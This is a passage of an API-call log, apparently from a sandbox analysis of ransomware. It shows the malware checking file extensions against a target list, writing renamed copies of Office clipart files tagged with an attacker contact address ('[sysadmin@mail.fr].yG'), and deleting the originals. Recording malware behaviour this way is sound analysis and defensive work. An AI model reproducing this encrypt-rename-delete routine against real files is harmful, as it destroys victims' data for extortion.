	[0149.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0149.110] lstrlenW (lpString=".jpg") returned 4
	[0149.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.110] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.110] lstrlenW (lpString="FD02097_.WMF") returned 12
	[0149.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0149.501] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=1564) returned 1
	[0149.501] CloseHandle (hObject=0x51c) returned 1
	[0149.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x220
	[0149.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0149.913] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.913] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0149.914] GetLastError () returned 0x0
	[0149.914] ReadFile (in: hFile=0x38c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x61c, lpOverlapped=0x0) returned 1
	[0149.925] WriteFile (in: hFile=0x530, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x620, lpOverlapped=0x0) returned 1
	[0149.926] ReadFile (in: hFile=0x38c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.926] WriteFile (in: hFile=0x530, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.926] SetEndOfFile (hFile=0x530) returned 1
	[0149.927] CloseHandle (hObject=0x530) returned 1
	[0149.927] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.927] SetEndOfFile (hFile=0x38c) returned 1
	[0149.930] CloseHandle (hObject=0x38c) returned 1
	[0149.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 1
	[0149.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0149.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0149.932] lstrlenW (lpString=".doc") returned 4
	[0149.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.932] lstrlenW (lpString=".docx") returned 5
	[0149.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.932] lstrlenW (lpString=".pdf") returned 4
	[0149.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.932] lstrlenW (lpString=".xls") returned 4
	[0149.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.932] lstrlenW (lpString=".xlsx") returned 5
	[0149.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.932] lstrlenW (lpString=".ppt") returned 4
	[0149.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0149.932] lstrlenW (lpString=".zip") returned 4
	[0149.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.932] lstrlenW (lpString=".rar") returned 4
	[0149.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.933] lstrlenW (lpString=".bz2") returned 4
	[0149.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.933] lstrlenW (lpString=".7z") returned 3
	[0149.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0149.933] lstrlenW (lpString=".dbf") returned 4
	[0149.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0149.933] lstrlenW (lpString=".1cd") returned 4
	[0149.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0149.933] lstrlenW (lpString=".jpg") returned 4
	[0149.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0149.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0149.933] lstrlenW (lpString=".doc") returned 4
	[0149.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.933] lstrlenW (lpString=".docx") returned 5
	[0149.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.933] lstrlenW (lpString=".pdf") returned 4
	[0149.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.933] lstrlenW (lpString=".xls") returned 4
	[0149.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.933] lstrlenW (lpString=".xlsx") returned 5
	[0149.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.934] lstrlenW (lpString=".ppt") returned 4
	[0149.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0149.934] lstrlenW (lpString=".zip") returned 4
	[0149.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.934] lstrlenW (lpString=".rar") returned 4
	[0149.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.934] lstrlenW (lpString=".bz2") returned 4
	[0149.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.934] lstrlenW (lpString=".7z") returned 3
	[0149.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0149.934] lstrlenW (lpString=".dbf") returned 4
	[0149.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0149.934] lstrlenW (lpString=".1cd") returned 4
	[0149.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0149.934] lstrlenW (lpString=".jpg") returned 4
	[0149.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.934] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.935] lstrlenW (lpString="HH00443_.WMF") returned 12
	[0149.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0149.936] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=3298) returned 1
	[0149.936] CloseHandle (hObject=0x38c) returned 1
	[0149.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x220
	[0149.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0149.937] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.937] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0149.938] GetLastError () returned 0x0
	[0149.938] ReadFile (in: hFile=0x38c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0xce2, lpOverlapped=0x0) returned 1
	[0149.946] WriteFile (in: hFile=0x530, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xcf0, lpOverlapped=0x0) returned 1
	[0149.947] ReadFile (in: hFile=0x38c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.947] WriteFile (in: hFile=0x530, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.948] SetEndOfFile (hFile=0x530) returned 1
	[0149.948] CloseHandle (hObject=0x530) returned 1
	[0149.948] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.948] SetEndOfFile (hFile=0x38c) returned 1
	[0149.951] CloseHandle (hObject=0x38c) returned 1
	[0149.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1
	[0149.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0149.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0149.953] lstrlenW (lpString=".doc") returned 4
	[0149.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.953] lstrlenW (lpString=".docx") returned 5
	[0149.953] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.953] lstrlenW (lpString=".pdf") returned 4
	[0149.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.954] lstrlenW (lpString=".xls") returned 4
	[0149.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.954] lstrlenW (lpString=".xlsx") returned 5
	[0149.954] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.954] lstrlenW (lpString=".ppt") returned 4
	[0149.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0149.954] lstrlenW (lpString=".zip") returned 4
	[0149.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.954] lstrlenW (lpString=".rar") returned 4
	[0149.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.954] lstrlenW (lpString=".bz2") returned 4
	[0149.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.954] lstrlenW (lpString=".7z") returned 3
	[0149.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0149.954] lstrlenW (lpString=".dbf") returned 4
	[0149.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0149.954] lstrlenW (lpString=".1cd") returned 4
	[0149.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0149.954] lstrlenW (lpString=".jpg") returned 4
	[0149.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0149.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0149.955] lstrlenW (lpString=".doc") returned 4
	[0149.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.955] lstrlenW (lpString=".docx") returned 5
	[0149.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.955] lstrlenW (lpString=".pdf") returned 4
	[0149.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.955] lstrlenW (lpString=".xls") returned 4
	[0149.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.955] lstrlenW (lpString=".xlsx") returned 5
	[0149.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.955] lstrlenW (lpString=".ppt") returned 4
	[0149.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0149.955] lstrlenW (lpString=".zip") returned 4
	[0149.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.955] lstrlenW (lpString=".rar") returned 4
	[0149.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.955] lstrlenW (lpString=".bz2") returned 4
	[0149.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.955] lstrlenW (lpString=".7z") returned 3
	[0149.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0149.955] lstrlenW (lpString=".dbf") returned 4
	[0149.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0149.956] lstrlenW (lpString=".1cd") returned 4
	[0149.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0149.956] lstrlenW (lpString=".jpg") returned 4
	[0149.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.956] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.956] lstrlenW (lpString="HH00513_.WMF") returned 12
	[0149.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0149.957] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=818) returned 1
	[0149.957] CloseHandle (hObject=0x38c) returned 1
	[0149.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x220
	[0149.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0149.958] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.958] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0149.959] GetLastError () returned 0x0
	[0149.959] ReadFile (in: hFile=0x38c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x332, lpOverlapped=0x0) returned 1
	[0149.976] WriteFile (in: hFile=0x530, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x340, lpOverlapped=0x0) returned 1
	[0149.977] ReadFile (in: hFile=0x38c, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.977] WriteFile (in: hFile=0x530, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.977] SetEndOfFile (hFile=0x530) returned 1
	[0149.977] CloseHandle (hObject=0x530) returned 1
	[0149.977] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.977] SetEndOfFile (hFile=0x38c) returned 1
	[0149.982] CloseHandle (hObject=0x38c) returned 1
	[0149.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1
	[0149.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0149.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0149.983] lstrlenW (lpString=".doc") returned 4
	[0149.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.983] lstrlenW (lpString=".docx") returned 5
	[0149.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.983] lstrlenW (lpString=".pdf") returned 4
	[0149.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.983] lstrlenW (lpString=".xls") returned 4
	[0149.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.983] lstrlenW (lpString=".xlsx") returned 5
	[0149.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.983] lstrlenW (lpString=".ppt") returned 4
	[0149.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0149.983] lstrlenW (lpString=".zip") returned 4
	[0149.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.984] lstrlenW (lpString=".rar") returned 4
	[0149.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.984] lstrlenW (lpString=".bz2") returned 4
	[0149.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.984] lstrlenW (lpString=".7z") returned 3
	[0149.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0149.984] lstrlenW (lpString=".dbf") returned 4
	[0149.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0149.984] lstrlenW (lpString=".1cd") returned 4
	[0149.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0149.984] lstrlenW (lpString=".jpg") returned 4
	[0149.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0149.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0149.984] lstrlenW (lpString=".doc") returned 4
	[0149.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.984] lstrlenW (lpString=".docx") returned 5
	[0149.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.984] lstrlenW (lpString=".pdf") returned 4
	[0149.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.984] lstrlenW (lpString=".xls") returned 4
	[0149.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.984] lstrlenW (lpString=".xlsx") returned 5
	[0149.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.984] lstrlenW (lpString=".ppt") returned 4
	[0149.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0149.985] lstrlenW (lpString=".zip") returned 4
	[0149.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.985] lstrlenW (lpString=".rar") returned 4
	[0149.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.985] lstrlenW (lpString=".bz2") returned 4
	[0149.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.985] lstrlenW (lpString=".7z") returned 3
	[0149.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0149.985] lstrlenW (lpString=".dbf") returned 4
	[0149.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
